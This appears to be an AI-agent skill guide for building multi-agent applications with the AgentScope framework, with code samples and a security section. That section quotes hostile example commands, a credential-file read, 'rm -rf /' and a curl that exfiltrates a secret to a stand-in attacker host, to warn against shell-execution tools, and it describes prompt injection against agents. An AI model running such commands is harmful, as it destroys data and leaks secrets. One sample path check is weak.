agentscope（agentscope 搜索）

AgentScope Skill

Build production-ready multi-agent applications with Alibaba's AgentScope framework.

When to Use This Skill

Use this skill when the user wants to:

• Create AI agents (ReActAgent, DialogAgent, custom agents)
• Build multi-agent workflows and orchestration
• Integrate MCP (Model Context Protocol) tools
• Implement memory systems (short-term, long-term)
• Deploy distributed multi-agent systems
• Use AgentScope's pipelines, MsgHub, or planning features

Quick Start Pattern

import asyncio
import os
from agentscope.agent import ReActAgent
from agentscope.model import DashScopeChatModel
from agentscope.formatter import DashScopeChatFormatter
from agentscope.memory import InMemoryMemory
from agentscope.tool import Toolkit
# SECURITY: Do NOT use execute_python_code or execute_shell_command
# in production - they allow arbitrary code execution

async def build_agent():
    toolkit = Toolkit()

    # SECURITY: Define safe custom tools instead of using execute_python_code
    def calculator(expression: str) -> float:
        """Safely evaluate basic math expressions."""
        import ast
        import operator
        ops = {
            ast.Add: operator.add,
            ast.Sub: operator.sub,
            ast.Mult: operator.mul,
            ast.Div: operator.truediv
        }
        tree = ast.parse(expression, mode='eval')
        def safe_eval(node):
            if isinstance(node, ast.Num):
                return node.n
            elif isinstance(node, ast.BinOp):
                return ops[type(node.op)](
                    safe_eval(node.left),
                    safe_eval(node.right)
                )
            raise ValueError("Unsupported operation")
        return safe_eval(tree.body)

    toolkit.register_tool_function(calculator)

    agent = ReActAgent(
        name="Assistant",
        sys_prompt="You are a helpful AI assistant.",
        model=DashScopeChatModel(
            model_name="qwen-max",
            api_key=os.environ["DASHSCOPE_API_KEY"],
            stream=True
        ),
        memory=InMemoryMemory(),
        formatter=DashScopeChatFormatter(),
        toolkit=toolkit
    )

    return agent

Core Patterns

Pattern 1: Simple Conversational Agent

Use Case: Chatbots, Q&A systems, simple assistants

from agentscope.agent import DialogAgent

agent = DialogAgent(
    name="ChatBot",
    sys_prompt="You are a friendly conversational assistant.",
    model=DashScopeChatModel(model_name="qwen-max", api_key=api_key),
    memory=InMemoryMemory()
)

response = await agent(Msg(name="user", content="Hello!", role="user"))

Reference: See references/agents.md for all agent types.

Pattern 2: Tool-Using Agent (ReAct)

Use Case: Task automation, code execution, web browsing

from agentscope.agent import ReActAgent
from agentscope.tool import Toolkit

toolkit = Toolkit()

# SECURITY WARNING: Never use execute_shell_command or execute_python_code
# in production! They allow arbitrary code execution. Instead:
# 1. Define specific, safe tool functions
# 2. Use MCP tools from trusted sources
# 3. Implement input validation and sandboxing

def safe_file_read(filepath: str) -> str:
    """Read a file with path validation."""
    import os
    safe_dir = "/allowed/directory"
    abs_path = os.path.abspath(filepath)
    if not abs_path.startswith(safe_dir):
        raise ValueError("Access denied: path outside allowed directory")
    with open(abs_path, 'r') as f:
        return f.read()

toolkit.register_tool_function(safe_file_read)

agent = ReActAgent(
    name="Coder",
    sys_prompt="You help with coding tasks. Use tools when needed.",
    model=model,
    memory=InMemoryMemory(),
    formatter=DashScopeChatFormatter(),
    toolkit=toolkit,
    max_iters=10
)

Reference: See references/tools-mcp.md for custom tools and MCP integration.

Pattern 3: Multi-Agent Pipeline

Use Case: Sequential workflows, parallel processing

from agentscope.pipeline import sequential_pipeline, fanout_pipeline

# Sequential: agent1 -> agent2 -> agent3
result = await sequential_pipeline(
    agents=[researcher, analyzer, writer],
    msg=initial_msg
)

# Parallel: all agents process same input
results = await fanout_pipeline(
    agents=[sentiment_agent, entity_agent, summary_agent],
    msg=input_msg
)

Reference: See references/pipelines.md for orchestration patterns.

Pattern 4: Multi-Agent Conversation (MsgHub)

Use Case: Group discussions, collaborative agents

from agentscope.hub import MsgHub

async with MsgHub(
    participants=[agent1, agent2, agent3],
    announcement=Msg("user", "Discuss the topic...", "user")
) as hub:
    await agent1()  # Broadcasts to others
    await agent2()  # Broadcasts to others
    await agent3()  # Broadcasts to others

Pattern 5: Custom Agent

Use Case: Specialized behavior, custom logic

from agentscope.agent import AgentBase
from agentscope.message import Msg

class MyAgent(AgentBase):
    def __init__(self, name, model, **kwargs):
        super().__init__(name=name, **kwargs)
        self.model = model

    async def __call__(self, msg: Msg = None) -> Msg:
        if msg:
            self.memory.add(msg)

        response = await self.model(self.memory.get_memory())

        output = Msg(
            name=self.name,
            content=response.content,
            role="assistant"
        )
        self.memory.add(output)
        return output

Reference: See references/agents.md for custom agent patterns.

Model Configuration

Supported Providers

from agentscope.model import (
    DashScopeChatModel,   # Qwen models
    OpenAIChatModel,       # GPT models
    AnthropicChatModel,    # Claude models
)

# Match formatter to model
from agentscope.formatter import (
    DashScopeChatFormatter,
    OpenAIChatFormatter,
    AnthropicChatFormatter,
)

# Example: DashScope (Qwen)
agent = ReActAgent(
    model=DashScopeChatModel(
        model_name="qwen-max",
        api_key=os.environ["DASHSCOPE_API_KEY"],
        stream=True
    ),
    formatter=DashScopeChatFormatter(),  # Match!
    ...
)

Reference: See references/api_reference.md for all model wrappers.

Memory Systems

Short-Term (Conversation History)

from agentscope.memory import InMemoryMemory

memory = InMemoryMemory(
    max_messages=100,    # Limit by count
    summarization=True   # Auto-summarize old messages
)

Long-Term (Cross-Session)

from agentscope.memory import ReMeMemory

ltm = ReMeMemory(
    storage_path="./memory_store",
    embedding_model="text-embedding-v2"
)

# Search memories
results = await ltm.search(
    query="What did we discuss about Python?",
    top_k=5
)

Reference: See references/memory.md for memory patterns.

MCP Integration

Connect to Model Context Protocol servers for extended tool ecosystems:

from agentscope.tool import MCPToolkit

# StdIO transport (local server)
mcp_toolkit = MCPToolkit(
    server_name="filesystem",
    transport="stdio",
    command="python",
    args=["mcp_server.py"]
)

await mcp_toolkit.initialize()
tools = await mcp_toolkit.list_tools()

# Use with agent
agent = ReActAgent(name="agent", toolkit=mcp_toolkit, ...)

Reference: See references/tools-mcp.md for MCP patterns.

Distributed Deployment

Convert local agents to distributed deployment:

from agentscope.agent import to_dist_agent
import ray

ray.init(address="auto")  # Connect to cluster

local_agent = ReActAgent(name="worker", ...)
distributed_agent = to_dist_agent(local_agent)

# Use identically - framework handles distribution
result = await distributed_agent(msg)

Reference: See references/distributed.md for deployment patterns.

Three-Stage Application Pattern

Production applications follow this structure:

from agentscope.app import AgentApp

class MyApp(AgentApp):
    async def init(self):
        """Stage 1: Initialize resources"""
        self.agent = ReActAgent(...)
        self.toolkit = Toolkit()

    async def query(self, user_input: str):
        """Stage 2: Process requests"""
        msg = Msg(name="user", content=user_input, role="user")
        return await self.agent(msg)

    async def shutdown(self):
        """Stage 3: Cleanup resources"""
        await self.cleanup()

Reference Files

Load these references for detailed information:

Example Scripts

See scripts/ directory for runnable examples:

• example.py: Basic ReActAgent with tools
• Additional examples in scripts folder

Architecture Diagram

┌─────────────────────────────────────────────────────────┐
│                    Application Layer                     │
│         (AgentApp, Workflows, User Interfaces)           │
├─────────────────────────────────────────────────────────┤
│                      Agent Layer                         │
│    (ReActAgent, DialogAgent, UserAgent, Custom)          │
├─────────────────────────────────────────────────────────┤
│                  Communication Layer                     │
│        (MsgHub, Messages, Pipelines, Planning)           │
├─────────────────────────────────────────────────────────┤
│                  Infrastructure Layer                    │
│  (Model Wrappers, Memory, Tools, MCP, Fault Tolerance)   │
└─────────────────────────────────────────────────────────┘

Security Considerations

⚠️ CRITICAL SECURITY WARNINGS

Dangerous Built-in Tools (DO NOT USE IN PRODUCTION)

AgentScope provides two built-in tools that pose severe security risks:

Why These Tools Are Dangerous

# ❌ DANGEROUS - Do NOT use
toolkit.register_tool_function(execute_shell_command)
toolkit.register_tool_function(execute_python_code)

# An attacker could:
# - Read sensitive files: execute_shell_command("cat /etc/passwd")
# - Delete data: execute_python_code("import os; os.system('rm -rf /')")
# - Exfiltrate data: execute_shell_command("curl attacker.com/steal?data=$(cat secret)")

Safe Alternatives

Instead of dangerous built-in tools, implement specific, validated operations:

# ✅ SAFE - Specific tool with validation
def read_allowed_file(filename: str) -> str:
    """Read a file from allowed directory with validation."""
    import os

    # Validate filename (no path traversal)
    if ".." in filename or "/" in filename or "\\" in filename:
        raise ValueError("Invalid filename")

    # Restrict to allowed directory
    allowed_dir = "/data/allowed"
    filepath = os.path.join(allowed_dir, filename)

    # Validate extension
    if not filename.endswith((".txt", ".json", ".md")):
        raise ValueError("Unsupported file type")

    with open(filepath, 'r') as f:
        return f.read()

toolkit.register_tool_function(read_allowed_file)

Security Best Practices

1. Principle of Least Privilege: Only provide tools the agent needs
2. Input Validation: Validate all inputs before processing
3. Sandbox Sensitive Operations: Use containers, restricted environments
4. Audit Tool Usage: Log all tool invocations
5. Use MCP Tools: Prefer well-audited MCP server tools over custom implementations
6. Never Expose Shell/Code Execution: Even with "validation", these are too risky

Mitigating Indirect Prompt Injection

When using tools that fetch content from external sources (web_search, web_fetch), be aware of the risk of indirect prompt injection. Malicious content on a webpage could try to trick the agent into performing unintended actions.

Mitigation Strategies:

• Skeptical Agent Prompting: Instruct your agent to be skeptical of instructions found in web content and to seek confirmation before performing sensitive actions.
• User Confirmation: For critical actions (e.g., making a purchase, sending an email), implement a user confirmation step before execution.
• Restrictive Tool Permissions: Limit the permissions of the tools available to the agent. Don't give an agent that browses the web the ability to execute shell commands.

Report: Socket Security Analysis

A security audit identified critical vulnerabilities in template code:

• Finding 1: execute_shell_command allowed arbitrary command injection
• Finding 2: execute_python_code allowed arbitrary code execution
• Status: All templates updated to use safe alternatives

For detailed security guidance, see references/tools-mcp.md.

Best Practices

1. Always use async/await when calling agents
2. Match formatter to model for correct message formatting
3. Set max_iters for ReActAgent to prevent infinite loops
4. Use memory for maintaining conversation context
5. Register tools before passing toolkit to agent
6. Prefer MCP tools for external integrations
7. Use sequential_pipeline for dependent steps
8. Use fanout_pipeline for parallel independent analysis

Resources

• GitHub: https://github.com/agentscope-ai/agentscope
• Documentation: https://doc.agentscope.io
• PyPI: pip install agentscope
• ReMe Memory: https://github.com/agentscope-ai/ReMe